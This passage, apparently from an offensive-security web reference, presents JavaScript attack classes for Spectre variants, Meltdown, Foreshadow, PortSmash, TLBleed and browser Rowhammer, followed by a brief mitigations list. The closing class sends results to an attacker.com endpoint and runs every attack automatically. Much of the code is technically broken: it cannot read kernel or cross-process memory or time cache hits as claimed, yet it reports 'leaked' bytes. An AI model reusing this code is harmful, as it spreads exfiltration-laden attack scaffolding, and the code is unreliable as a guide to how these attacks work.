The Hostile DOM: Deep Dive Technical Reference

Offensive Security Research

This document provides exhaustive technical analysis of browser-based attack vectors. All code examples are for educational and authorized security research purposes only.

8.4 Spectre and Meltdown Variants

Modern CPUs use speculative execution to improve performance by predicting code paths before conditional checks complete. These predictions leave microarchitectural side effects that can leak sensitive data across security boundaries.

Browser Context Limitations

Browser-based implementations of these attacks face significant challenges:

Timing precision: performance.now() is clamped to milliseconds with jitter
No direct memory access: JavaScript cannot access arbitrary physical memory
Limited control: No inline assembly or precise cache control
SharedArrayBuffer restrictions: Required for high-resolution timing, disabled by default

However, WebAssembly provides near-native execution speed and some attacks remain viable.

Spectre Variant 1: Bounds Check Bypass (CVE-2017-5753)

Attack Principle: Train branch predictor to expect in-bounds array access, then trigger speculative out-of-bounds read that leaks data via cache side channel.

Click to expand code

javascript

// Spectre Variant 1 (Bounds Check Bypass)
class SpectreV1Exploiter {
  constructor() {
    this.probeArray = new Uint8Array(256 * 512); // 256 possible byte values
    this.trainingIterations = 100;
    this.secretData = null;
  }
  
  // Setup victim array with secret data
  initializeVictimArray() {
    // Simulate victim's memory containing secrets
    this.secretData = new Uint8Array([
      0x53, 0x65, 0x63, 0x72, 0x65, 0x74, // "Secret"
      0x20, 0x44, 0x61, 0x74, 0x61, 0x21  // " Data!"
    ]);
    
    console.log('[+] Victim data initialized');
  }
  
  // Train branch predictor with in-bounds accesses
  trainBranchPredictor(validIndex) {
    // Bounds check (will be predicted as "always true")
    if (validIndex < this.secretData.length) {
      const value = this.secretData[validIndex];
      // Access probe array at offset determined by secret value
      // This creates cache side effect
      const probeIndex = value * 512;
      this.probeArray[probeIndex] = 1;
    }
  }
  
  // Flush entire probe array from cache
  flushProbeArray() {
    // Access large memory region to evict probe array
    const flushBuffer = new Uint8Array(10 * 1024 * 1024); // 10MB
    for (let i = 0; i < flushBuffer.length; i += 64) {
      flushBuffer[i] = 1;
    }
  }
  
  // Speculative out-of-bounds access
  speculativeAccess(maliciousIndex) {
    // CPU speculatively executes this before bounds check completes
    // Even though this violates bounds, speculative execution proceeds
    if (maliciousIndex < this.secretData.length) {
      // This check will eventually fail, but speculation happens first
      const value = this.secretData[maliciousIndex];
      const probeIndex = value * 512;
      this.probeArray[probeIndex] = 1; // Cache line loaded
    }
  }
  
  // Time access to each probe array element
  probeCache() {
    const timings = [];
    
    for (let i = 0; i < 256; i++) {
      const probeIndex = i * 512;
      
      // Time the access
      const start = performance.now();
      const value = this.probeArray[probeIndex];
      const end = performance.now();
      
      // Prevent compiler optimization
      if (value === 999) console.log('unreachable');
      
      timings.push({
        byteValue: i,
        accessTime: end - start
      });
    }
    
    // Sort by access time (cached = faster)
    timings.sort((a, b) => a.accessTime - b.accessTime);
    
    return timings;
  }
  
  // Full attack chain
  async attack(secretOffset) {
    console.log(`[+] Attempting Spectre-v1 attack on offset ${secretOffset}`);
    
    this.initializeVictimArray();
    
    // Phase 1: Train branch predictor
    console.log('[+] Training branch predictor...');
    for (let i = 0; i < this.trainingIterations; i++) {
      const validIndex = i % this.secretData.length;
      this.trainBranchPredictor(validIndex);
    }
    
    // Phase 2: Flush probe array from cache
    console.log('[+] Flushing probe array from cache...');
    this.flushProbeArray();
    
    // Phase 3: Trigger speculative execution
    console.log('[+] Triggering speculative out-of-bounds access...');
    const maliciousIndex = this.secretData.length + secretOffset;
    this.speculativeAccess(maliciousIndex);
    
    // Phase 4: Probe cache to recover leaked byte
    console.log('[+] Probing cache...');
    const timings = this.probeCache();
    
    // The fastest access reveals the leaked byte
    const leakedByte = timings[0].byteValue;
    const confidence = timings[1].accessTime - timings[0].accessTime;
    
    console.log(`[+] Leaked byte: 0x${leakedByte.toString(16)} ('${String.fromCharCode(leakedByte)}')`);
    console.log(`[+] Confidence margin: ${confidence.toFixed(3)}ms`);
    
    return {
      value: leakedByte,
      char: String.fromCharCode(leakedByte),
      confidence: confidence
    };
  }
}

Spectre Variant 2: Branch Target Injection (CVE-2017-5715)

Attack Principle: Poison Indirect Branch Predictor (IBP) to make victim code speculatively execute attacker-chosen gadget code.

Click to expand code

javascript

class SpectreV2Exploiter {
  constructor() {
    this.gadgets = [];
    this.indirectCallSite = null;
  }
  
  // Setup gadget chain for speculative execution
  setupGadgets() {
    // Gadget 1: Load secret into register
    this.gadgets.push({
      name: 'secretLoad',
      code: (secretAddr) => {
        const view = new Uint8Array(secretAddr);
        return view[0]; // Load secret byte
      }
    });
    
    // Gadget 2: Use secret as array index
    this.gadgets.push({
      name: 'arrayIndex',
      code: (secretValue) => {
        const probe = new Uint8Array(256 * 512);
        probe[secretValue * 512] = 1; // Create cache side effect
      }
    });
    
    console.log('[+] Gadget chain prepared');
  }
  
  // Train Indirect Branch Predictor
  trainIBP(targetFunction) {
    // Repeatedly call indirect branch with same target
    for (let i = 0; i < 1000; i++) {
      this.indirectCallSite = targetFunction;
      this.indirectCallSite(); // Train predictor
    }
  }
  
  // Trigger misprediction to execute gadget
  poisonIBP(gadgetFunction) {
    // Switch target of indirect call
    this.indirectCallSite = gadgetFunction;
    
    // CPU will speculatively execute old target (our gadget)
    // even though actual target changed
    this.indirectCallSite();
  }
  
  async attack() {
    console.log('[+] Spectre-v2 (Branch Target Injection) attack');
    
    this.setupGadgets();
    
    // Train IBP with benign function
    const benignFunc = () => {
      return Math.random();
    };
    
    this.trainIBP(benignFunc);
    
    // Poison with malicious gadget
    this.poisonIBP(this.gadgets[0].code);
    
    console.log('[+] IBP poisoning complete');
  }
}

Spectre Variant 4: Speculative Store Bypass (CVE-2018-3639)

Attack Principle: Speculatively load stale data before store commits, bypassing memory ordering protections.

Click to expand code

javascript

class SpectreV4Exploiter {
  constructor() {
    this.sharedMemory = new SharedArrayBuffer(1024);
    this.view = new Uint8Array(this.sharedMemory);
  }
  
  // Victim code with store operation
  victimStore(index, value) {
    // Store operation (takes time to commit)
    Atomics.store(this.view, index, value);
  }
  
  // Speculative load before store commits
  speculativeLoad(index) {
    // CPU may speculatively load old value
    // before store from victimStore() commits
    const start = performance.now();
    const value = Atomics.load(this.view, index);
    const end = performance.now();
    
    return { value, timing: end - start };
  }
  
  async attack() {
    console.log('[+] Spectre-v4 (Store Bypass) attack');
    
    // Setup: Write initial value
    const targetIndex = 42;
    this.view[targetIndex] = 0xAA; // Old value
    
    // Victim updates value
    this.victimStore(targetIndex, 0xBB); // New value
    
    // Speculative load may see old value (0xAA)
    const result = this.speculativeLoad(targetIndex);
    
    if (result.value === 0xAA) {
      console.log('[!] Leaked stale value via speculative bypass');
    }
    
    return result;
  }
}

Meltdown (CVE-2017-5754): Kernel Memory Leakage

Attack Principle: Speculatively access kernel memory from user space, leak data via cache before exception triggers.

Click to expand code

javascript

class MeltdownExploiter {
  constructor() {
    this.probeArray = new Uint8Array(256 * 4096); // Page-aligned
  }
  
  // Attempt to read kernel memory (will fault, but speculation happens first)
  speculativeKernelRead(kernelAddress) {
    try {
      // In native code, this would be:
      // mov rax, [kernelAddress]  ; Speculative kernel read
      // shl rax, 12               ; Multiply by page size
      // mov rbx, [probeArray + rax] ; Cache probe array line
      
      // JavaScript approximation (requires WASM for real attack)
      const view = new Uint8Array(kernelAddress);
      const value = view[0]; // This will throw exception
      
      // This never executes in committed path,
      // but CPU speculatively executes it
      const probeIndex = value * 4096;
      this.probeArray[probeIndex] = 1;
      
    } catch (e) {
      // Exception caught, but cache side effect remains
      console.log('[+] Exception caught (expected)');
    }
  }
  
  // Probe cache to recover leaked kernel byte
  probeForLeakedByte() {
    const timings = [];
    
    for (let i = 0; i < 256; i++) {
      const probeIndex = i * 4096;
      const start = performance.now();
      const value = this.probeArray[probeIndex];
      const end = performance.now();
      
      timings.push({ byte: i, time: end - start });
    }
    
    timings.sort((a, b) => a.time - b.time);
    return timings[0].byte; // Fastest = cached = leaked value
  }
  
  async attack(kernelAddr) {
    console.log('[+] Meltdown attack (conceptual)');
    console.log('[!] Note: JavaScript cannot access kernel memory directly');
    console.log('[!] Real attack requires native code/WASM');
    
    // Flush probe array
    for (let i = 0; i < this.probeArray.length; i += 64) {
      this.probeArray[i] = 0;
    }
    
    // Attempt speculative kernel read
    this.speculativeKernelRead(kernelAddr);
    
    // Recover leaked byte from cache
    const leakedByte = this.probeForLeakedByte();
    
    console.log(`[+] Potentially leaked byte: 0x${leakedByte.toString(16)}`);
    return leakedByte;
  }
}

Foreshadow/L1TF (CVE-2018-3615): L1 Cache Data Leakage

Attack Principle: Exploit L1 Terminal Fault to read cached data from SGX enclaves, SMM memory, or other VMs.

Click to expand code

javascript

class ForeshadowExploiter {
  constructor() {
    this.l1ProbeArray = new Uint8Array(256 * 64); // L1 cache line size
  }
  
  // Force page table entry to be terminal (present=0)
  createTerminalFault(virtualAddr) {
    // In native code, would modify page table entry:
    // PTE.present = 0
    // PTE.physicalAddr = targetSGXMemory
    
    console.log('[+] Creating terminal fault condition');
    console.log('[!] Requires kernel access or page table manipulation');
  }
  
  // Access terminal page to trigger L1TF
  triggerL1TerminalFault(faultAddr) {
    try {
      // Access causes page fault, but L1 cache loaded speculatively
      const view = new Uint8Array(faultAddr);
      const value = view[0];
      
      // Use value to access probe array
      const probeIndex = value * 64;
      this.l1ProbeArray[probeIndex] = 1;
      
    } catch (e) {
      // Page fault caught, but L1 cache side effect remains
      console.log('[+] Terminal fault triggered');
    }
  }
  
  // Probe L1 cache
  probeL1Cache() {
    const timings = [];
    
    for (let i = 0; i < 256; i++) {
      const start = performance.now();
      const value = this.l1ProbeArray[i * 64];
      const end = performance.now();
      
      timings.push({ byte: i, time: end - start });
    }
    
    timings.sort((a, b) => a.time - b.time);
    return timings[0].byte;
  }
  
  async attack(sgxMemoryAddr) {
    console.log('[+] Foreshadow/L1TF attack (conceptual)');
    console.log('[!] Targets SGX enclave memory via L1 cache');
    
    this.createTerminalFault(sgxMemoryAddr);
    this.triggerL1TerminalFault(sgxMemoryAddr);
    
    const leakedByte = this.probeL1Cache();
    console.log(`[+] Leaked SGX byte: 0x${leakedByte.toString(16)}`);
    
    return leakedByte;
  }
}

PortSmash (CVE-2018-5407): SMT/HyperThreading Exploitation

Attack Principle: Exploit Simultaneous Multithreading (SMT) execution port contention to leak cryptographic keys across sibling cores.

Click to expand code

javascript

class PortSmashExploiter {
  constructor() {
    this.measurements = [];
    this.workerCode = `
      // Run on sibling hyperthread
      self.onmessage = function(e) {
        const iterations = e.data.iterations;
        const operation = e.data.operation;
        
        const start = performance.now();
        
        // Saturate specific execution port
        if (operation === 'multiply') {
          let result = 1;
          for (let i = 0; i < iterations; i++) {
            result *= i; // Port 0/1 on Intel (multiplication)
          }
          self.postMessage({ result, time: performance.now() - start });
        }
        else if (operation === 'divide') {
          let result = 1;
          for (let i = 1; i < iterations; i++) {
            result /= i; // Port 0 only (division)
          }
          self.postMessage({ result, time: performance.now() - start });
        }
      };
    `;
  }
  
  // Create worker on sibling hyperthread
  createSiblingWorker() {
    const blob = new Blob([this.workerCode], { type: 'application/javascript' });
    const worker = new Worker(URL.createObjectURL(blob));
    return worker;
  }
  
  // Victim code performing cryptographic operation
  async victimCryptoOperation(secretKey) {
    // Simulate RSA exponentiation (key-dependent execution)
    let result = 1;
    
    for (let i = 0; i < secretKey.length; i++) {
      const bit = secretKey[i];
      
      if (bit === 1) {
        // Square and multiply (uses multiply port)
        result = result * result * 13;
      } else {
        // Square only (less port contention)
        result = result * result;
      }
    }
    
    return result;
  }
  
  // Attacker on sibling thread measures port contention
  async measurePortContention(operation, iterations) {
    return new Promise((resolve) => {
      const worker = this.createSiblingWorker();
      
      worker.onmessage = (e) => {
        resolve(e.data.time);
        worker.terminate();
      };
      
      worker.postMessage({ operation, iterations });
    });
  }
  
  async attack(secretKeyLength = 32) {
    console.log('[+] PortSmash attack (SMT port contention)');
    
    // Generate victim's secret key (to be leaked)
    const secretKey = Array.from({ length: secretKeyLength }, 
      () => Math.random() > 0.5 ? 1 : 0
    );
    
    console.log('[+] Victim secret key:', secretKey.join(''));
    
    const leakedKey = [];
    
    for (let i = 0; i < secretKeyLength; i++) {
      // Run victim crypto operation
      const victimPromise = this.victimCryptoOperation(secretKey.slice(0, i + 1));
      
      // Simultaneously measure port contention on sibling thread
      const contentionTime = await this.measurePortContention('multiply', 1000000);
      
      await victimPromise;
      
      // High contention = victim used multiply port = bit was 1
      // Low contention = victim only squared = bit was 0
      const threshold = 50; // Milliseconds (needs calibration)
      const leakedBit = contentionTime > threshold ? 1 : 0;
      
      leakedKey.push(leakedBit);
      
      this.measurements.push({
        bitIndex: i,
        actualBit: secretKey[i],
        leakedBit: leakedBit,
        contentionTime: contentionTime,
        correct: secretKey[i] === leakedBit
      });
    }
    
    const accuracy = this.measurements.filter(m => m.correct).length / secretKeyLength;
    
    console.log('[+] Leaked key:', leakedKey.join(''));
    console.log(`[+] Accuracy: ${(accuracy * 100).toFixed(1)}%`);
    console.log('[+] Measurements:', this.measurements);
    
    return {
      originalKey: secretKey,
      leakedKey: leakedKey,
      accuracy: accuracy,
      measurements: this.measurements
    };
  }
}

TLBleed: Page Table Entry Timing

Attack Principle: Exploit Translation Lookaside Buffer (TLB) timing to leak secrets across hyperthreads.

Click to expand code

javascript

class TLBleedExploiter {
  constructor() {
    this.tlbEntries = 64; // Typical L1 TLB size
    this.pageSize = 4096;
    this.probePages = [];
  }
  
  // Allocate pages to fill TLB
  allocateProbePages() {
    // Create array of page-aligned buffers
    for (let i = 0; i < this.tlbEntries * 2; i++) {
      const buffer = new ArrayBuffer(this.pageSize);
      this.probePages.push(new Uint8Array(buffer));
    }
    
    console.log(`[+] Allocated ${this.probePages.length} probe pages`);
  }
  
  // Prime TLB with known pages
  primeTLB() {
    for (let i = 0; i < this.tlbEntries; i++) {
      this.probePages[i][0] = 1; // Access to load into TLB
    }
  }
  
  // Victim accesses secret-dependent pages
  victimAccess(secretBit) {
    const pageIndex = secretBit === 1 ? 100 : 101;
    
    if (this.probePages[pageIndex]) {
      this.probePages[pageIndex][0] = 1; // TLB entry loaded
    }
  }
  
  // Probe TLB by timing page accesses
  probeTLB() {
    const timings = [];
    
    for (let i = 0; i < this.tlbEntries * 2; i++) {
      const start = performance.now();
      
      // Access page (fast if in TLB, slow if TLB miss)
      if (this.probePages[i]) {
        this.probePages[i][0] = 1;
      }
      
      const end = performance.now();
      timings.push({ page: i, time: end - start });
    }
    
    return timings;
  }
  
  async attack(secretBits) {
    console.log('[+] TLBleed attack (TLB timing)');
    
    this.allocateProbePages();
    
    const leakedBits = [];
    
    for (const secretBit of secretBits) {
      // Prime TLB
      this.primeTLB();
      
      // Victim accesses secret-dependent page
      this.victimAccess(secretBit);
      
      // Probe TLB
      const timings = this.probeTLB();
      
      // Find which pages were accessed (fast timing = TLB hit)
      timings.sort((a, b) => a.time - b.time);
      
      // Page 100 or 101 will be fast if accessed
      const fastPage = timings.filter(t => t.page === 100 || t.page === 101)[0];
      const leakedBit = fastPage?.page === 100 ? 1 : 0;
      
      leakedBits.push(leakedBit);
    }
    
    console.log('[+] Original bits:', secretBits.join(''));
    console.log('[+] Leaked bits:  ', leakedBits.join(''));
    
    const accuracy = secretBits.filter((b, i) => b === leakedBits[i]).length / secretBits.length;
    console.log(`[+] Accuracy: ${(accuracy * 100).toFixed(1)}%`);
    
    return { originalBits: secretBits, leakedBits, accuracy };
  }
}

Mitigations and Defenses

CPU Microcode Updates:

Intel/AMD released microcode patches for Spectre/Meltdown
IBRS (Indirect Branch Restricted Speculation)
STIBP (Single Thread Indirect Branch Predictors)
SSBD (Speculative Store Bypass Disable)

Browser Mitigations:

SharedArrayBuffer disabled by default (breaks high-resolution timing)
Site Isolation: Each site in separate process (Chrome)
performance.now() clamping: Reduced to 100μs resolution with jitter
Cross-Origin Read Blocking (CORB): Prevents cross-origin memory disclosure

Operating System:

KPTI (Kernel Page Table Isolation): Separate kernel/user page tables (Meltdown mitigation)
Retpoline: Indirect branch speculation barrier (Spectre-v2)
IBPB (Indirect Branch Prediction Barrier): Flush branch predictor on context switch

Hardware:

Newer CPUs: Intel 10th gen+, AMD Zen 2+ have hardware mitigations
Disable SMT/HyperThreading: Eliminates cross-thread attacks (PortSmash, TLBleed)

Detection:

Monitor for abnormal cache timing patterns
Detect repeated memory access patterns
Alert on SharedArrayBuffer usage
Track performance.now() query frequency

Browser-Based Speculative Execution Exploitation

Click to expand code

javascript

// Note: These are conceptual implementations - actual Spectre attacks
// require precise timing and are highly dependent on CPU microarchitecture

class SpeculativeExploiter {
  constructor() {
    this.cache = new Map();
    this.probeArray = new Array(256).fill(0);
    this.secretData = null;
  }
  
  // Flush cache line
  flushCacheLine(address) {
    // Use shared memory or large arrays to flush cache
    const view = new Uint8Array(this.probeArray.buffer);
    view[address % view.length] = 0;
  }
  
  // Time memory access
  timeMemoryAccess(address) {
    const start = performance.now();
    const value = this.probeArray[address % this.probeArray.length];
    const end = performance.now();
    
    // Prevent optimization
    if (value === 999999) {
      console.log('Unreachable');
    }
    
    return end - start;
  }
  
  // Spectre-like attack (conceptual)
  async spectreLikeAttack() {
    console.log('[+] Attempting Spectre-like attack');
    
    // Setup victim data (in different context/process)
    this.secretData = new Array(256);
    for (let i = 0; i < 256; i++) {
      this.secretData[i] = i;
    }
    
    // Train branch predictor (if bounds checking exists)
    for (let i = 0; i < 100; i++) {
      this.trainBranch(i % 10); // Stay in bounds
    }
    
    // Out-of-bounds access attempt
    const leakedByte = await this.leakByte(10); // Try to access secretData[10]
    
    console.log(`[+] Leaked byte: ${leakedByte}`);
    return leakedByte;
  }
  
  trainBranch(index) {
    // Simulate bounds checking
    if (index < 10) { // Train with in-bounds access
      const value = this.secretData[index];
      this.probeArray[value] = 1; // Access probe array
    }
  }
  
  async leakByte(secretIndex) {
    // Flush probe array
    for (let i = 0; i < 256; i++) {
      this.flushCacheLine(i);
    }
    
    // Speculative execution (this would happen in CPU)
    // In reality, this requires precise assembly or WASM
    const speculativeAccess = () => {
      const index = secretIndex; // This becomes the secret value during speculation
      if (index < this.secretData.length) {
        const value = this.secretData[index]; // Speculative load
        this.probeArray[value] = 1; // Cache this line
      }
    };
    
    // Execute speculative code
    speculativeAccess();
    
    // Probe cache to find which line was accessed
    let minTime = Infinity;
    let leakedValue = -1;
    
    for (let i = 0; i < 256; i++) {
      const time = this.timeMemoryAccess(i);
      
      if (time < minTime) {
        minTime = time;
        leakedValue = i;
      }
    }
    
    return leakedValue;
  }
  
  // Cache side-channel attack
  async cacheSideChannel() {
    console.log('[+] Running cache side-channel attack');
    
    // Setup two probe arrays in different cache sets
    const probe1 = new Array(4096).fill(0); // 4KB alignment
    const probe2 = new Array(4096).fill(0);
    
    // Prime cache
    this.primeCache(probe1, probe2);
    
    // Victim access (simulated)
    await this.simulateVictimAccess();
    
    // Probe cache
    const accessPattern = this.probeCache(probe1, probe2);
    
    console.log('[+] Cache access pattern:', accessPattern);
    return accessPattern;
  }
  
  primeCache(probe1, probe2) {
    // Access both arrays to load them into cache
    for (let i = 0; i < probe1.length; i += 64) { // Cache line size
      probe1[i] = 1;
      probe2[i] = 1;
    }
  }
  
  async simulateVictimAccess() {
    // Simulate victim accessing one of the arrays
    // In reality, this would be in a different process/context
    const victimChoice = Math.random() > 0.5 ? 'probe1' : 'probe2';
    
    if (victimChoice === 'probe1') {
      this.probeArray[0] = 1; // Access probe1
    } else {
      // Access probe2 (different cache set)
      const temp = new Array(4096).fill(0);
      temp[0] = 1;
    }
    
    // Small delay
    await new Promise(resolve => setTimeout(resolve, 10));
  }
  
  probeCache(probe1, probe2) {
    const results = {
      probe1: [],
      probe2: []
    };
    
    // Time access to each cache line
    for (let i = 0; i < probe1.length; i += 64) {
      const time1 = this.timeMemoryAccess(i);
      const time2 = this.timeMemoryAccess(i);
      
      results.probe1.push(time1);
      results.probe2.push(time2);
    }
    
    return results;
  }
  
  // Rowhammer.js - Browser-based Rowhammer
  async rowhammerAttack() {
    console.log('[+] Attempting browser-based Rowhammer');
    
    // Allocate large arrays (representing DRAM rows)
    const rows = [];
    for (let i = 0; i < 100; i++) {
      rows.push(new Uint8Array(4096)); // 4KB row
    }
    
    // Hammer adjacent rows
    const victimRow = 50;
    const aggressorRow1 = victimRow - 1;
    const aggressorRow2 = victimRow + 1;
    
    console.log(`[+] Hammering rows ${aggressorRow1} and ${aggressorRow2} to flip bits in row ${victimRow}`);
    
    // Continuous hammering
    for (let i = 0; i < 1000000; i++) {
      // Access aggressor rows rapidly
      rows[aggressorRow1][0] = i % 256;
      rows[aggressorRow2][0] = (i + 1) % 256;
      
      // Check for bit flips in victim row
      if (i % 10000 === 0) {
        const flips = this.checkBitFlips(rows[victimRow]);
        if (flips.length > 0) {
          console.log(`[+] Bit flips detected: ${flips.join(', ')}`);
          
          // Exfiltrate bit flip information
          fetch('https://attacker.com/bit-flips', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({
              victimRow,
              bitFlips: flips,
              hammerCount: i
            })
          });
        }
      }
    }
  }
  
  checkBitFlips(array) {
    const flips = [];
    
    for (let i = 0; i < array.length; i++) {
      if (array[i] !== 0) { // Assuming initialized to 0
        flips.push(`offset_${i}: ${array[i]}`);
      }
    }
    
    return flips;
  }
  
  // Microarchitectural timing attack
  async microarchitecturalTiming() {
    console.log('[+] Running microarchitectural timing attack');
    
    const operations = [
      () => Math.sqrt(Math.random()), // ALU operation
      () => new Array(1000).fill(0), // Memory allocation
      () => JSON.parse('{"data": "test"}'), // JSON parsing
      () => crypto.getRandomValues(new Uint8Array(32)) // Crypto operation
    ];
    
    const timingResults = {};
    
    for (let i = 0; i < operations.length; i++) {
      const op = operations[i];
      const measurements = [];
      
      for (let j = 0; j < 1000; j++) {
        const start = performance.now();
        op();
        const end = performance.now();
        measurements.push(end - start);
      }
      
      timingResults[`operation_${i}`] = {
        average: measurements.reduce((a, b) => a + b, 0) / measurements.length,
        min: Math.min(...measurements),
        max: Math.max(...measurements),
        variance: this.calculateVariance(measurements)
      };
    }
    
    console.log('[+] Microarchitectural timing results:', timingResults);
    
    // Use timing differences to fingerprint CPU
    const fingerprint = this.fingerprintFromTiming(timingResults);
    console.log('[+] CPU fingerprint:', fingerprint);
    
    return timingResults;
  }
  
  calculateVariance(values) {
    const mean = values.reduce((a, b) => a + b, 0) / values.length;
    const squareDiffs = values.map(value => Math.pow(value - mean, 2));
    return squareDiffs.reduce((a, b) => a + b, 0) / squareDiffs.length;
  }
  
  fingerprintFromTiming(timingResults) {
    // Create fingerprint based on timing characteristics
    const fingerprint = {};
    
    Object.entries(timingResults).forEach(([op, stats]) => {
      fingerprint[op] = {
        performance: stats.average < 1 ? 'high' : 'low',
        consistency: stats.variance < 0.01 ? 'high' : 'low'
      };
    });
    
    return fingerprint;
  }
}

// Initialize speculative exploiter
const speculativeExploiter = new SpeculativeExploiter();

// Run speculative attacks
async function runSpeculativeAttacks() {
  await speculativeExploiter.spectreLikeAttack();
  await speculativeExploiter.cacheSideChannel();
  await speculativeExploiter.rowhammerAttack();
  await speculativeExploiter.microarchitecturalTiming();
}

runSpeculativeAttacks();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290

Conclusion

This comprehensive deep dive has explored the full spectrum of browser-based attack vectors, from fundamental architecture exploitation to cutting-edge speculative execution attacks. The hostile DOM represents one of the most challenging attack surfaces in modern computing, combining the ubiquity of web browsers with the complexity of client-side execution environments.

Key Takeaways:

Browser architecture provides rich attack surfaces through instrumentation APIs
Visual deception attacks exploit human perception and UI trust
Persistence mechanisms enable long-term compromise
Code injection remains the most direct path to total control
Credential theft bypasses traditional HttpOnly protections
Extension exploitation extends attack reach to privileged contexts
Fingerprinting enables both tracking and attack customization
Advanced techniques like XS-Leaks and prototype pollution push exploitation boundaries

Future Trends:

WebAssembly exploitation will grow as adoption increases
Speculative execution attacks will become more sophisticated
AI/ML integration will enable more intelligent attack automation
Cross-platform consistency will improve attack reliability
Privacy-focused changes may inadvertently create new attack vectors

The defensive landscape must evolve alongside these attacks, requiring comprehensive understanding of both offensive techniques and defensive countermeasures.

The Hostile DOM: Deep Dive Technical Reference ​

8.4 Spectre and Meltdown Variants ​

Spectre Variant 1: Bounds Check Bypass (CVE-2017-5753) ​

Spectre Variant 2: Branch Target Injection (CVE-2017-5715) ​

Spectre Variant 4: Speculative Store Bypass (CVE-2018-3639) ​

Meltdown (CVE-2017-5754): Kernel Memory Leakage ​

Foreshadow/L1TF (CVE-2018-3615): L1 Cache Data Leakage ​

PortSmash (CVE-2018-5407): SMT/HyperThreading Exploitation ​

TLBleed: Page Table Entry Timing ​

Browser-Based Speculative Execution Exploitation ​

Conclusion ​

The Hostile DOM: Deep Dive Technical Reference

8.4 Spectre and Meltdown Variants

Spectre Variant 1: Bounds Check Bypass (CVE-2017-5753)

Spectre Variant 2: Branch Target Injection (CVE-2017-5715)

Spectre Variant 4: Speculative Store Bypass (CVE-2018-3639)

Meltdown (CVE-2017-5754): Kernel Memory Leakage

Foreshadow/L1TF (CVE-2018-3615): L1 Cache Data Leakage

PortSmash (CVE-2018-5407): SMT/HyperThreading Exploitation

TLBleed: Page Table Entry Timing

Browser-Based Speculative Execution Exploitation

Conclusion